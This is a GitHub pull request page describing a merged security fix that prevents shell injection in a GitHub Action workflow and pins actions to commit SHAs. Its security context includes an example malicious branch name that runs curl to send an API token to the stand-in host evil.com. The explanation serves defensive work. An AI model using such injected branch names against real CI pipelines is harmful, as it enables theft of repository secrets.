fix: prevent shell injection and pin actions to SHAs [E-1815]#7
Merged
jonathansantilli merged 1 commit intomainfrom Apr 8, 2026
Merged
fix: prevent shell injection and pin actions to SHAs [E-1815]#7jonathansantilli merged 1 commit intomainfrom
jonathansantilli merged 1 commit intomainfrom
Conversation
Security fix for command injection vulnerability (CWE-78).
Changes:
- Move all ${{ github.event.* }} expressions from run: blocks to env: blocks
to prevent shell injection via attacker-controlled branch names
- Replace eval with bash array execution for safe command invocation
- Remove bare `env` command that dumped secrets to workflow logs
- Move all secret inputs (mobb-api-token, github-token) to env: blocks
- Replace `bash -l {0}` (login shell) with `bash` (standard shell)
- Quote all variable expansions to prevent word splitting
- Pin all action references to immutable commit SHAs
Preserves all new functionality from recent commits (commit-run support,
organization-id input, URL extraction from mobbdev output).
The action interface (inputs/outputs) is unchanged — this fix is
transparent to consumers.
Ref: E-1815
jonathansantilli
force-pushed
the
action/E-1815
branch
from
8be62b2 to
f042ab0
Compare
|
Kirill89
approved these changes
Apr 8, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
${{ github.event.workflow_run.head_branch }}direct shell interpolationeval— replace with bash array executionenvcommand that dumped secrets to workflow logsechothat printed API tokens to logsmobb-api-token,github-token) fromrun:blocks toenv:blocksbash -l {0}withbashPreserves all new functionality from recent commits (commit-run support, organization-id input, URL extraction from mobbdev output).
Security Context
An attacker can create a git branch named
test-$(curl${IFS}evil.com/${MOBB_API_TOKEN})— this is a valid git branch name. When${{ github.event.workflow_run.head_branch }}is used directly in arun:block, GitHub template engine pastes the branch name into the shell script before bash runs. Bash then executes the embedded$(...)as a command substitution, exfiltrating secrets.The fix moves all
${{ }}expressions toenv:blocks, where values are treated as data (not code) by bash.Consumer Impact
None. The action
inputs:andoutputs:are unchanged. This fix is transparent to all consumers — no workflow changes needed.Test plan
test-$(id)was tested and confirmed that$(id)is treated as literal text, not executed (same fix pattern applied here)The injection test evidence is documented in detail at: mobb-dev/action#31 (comment)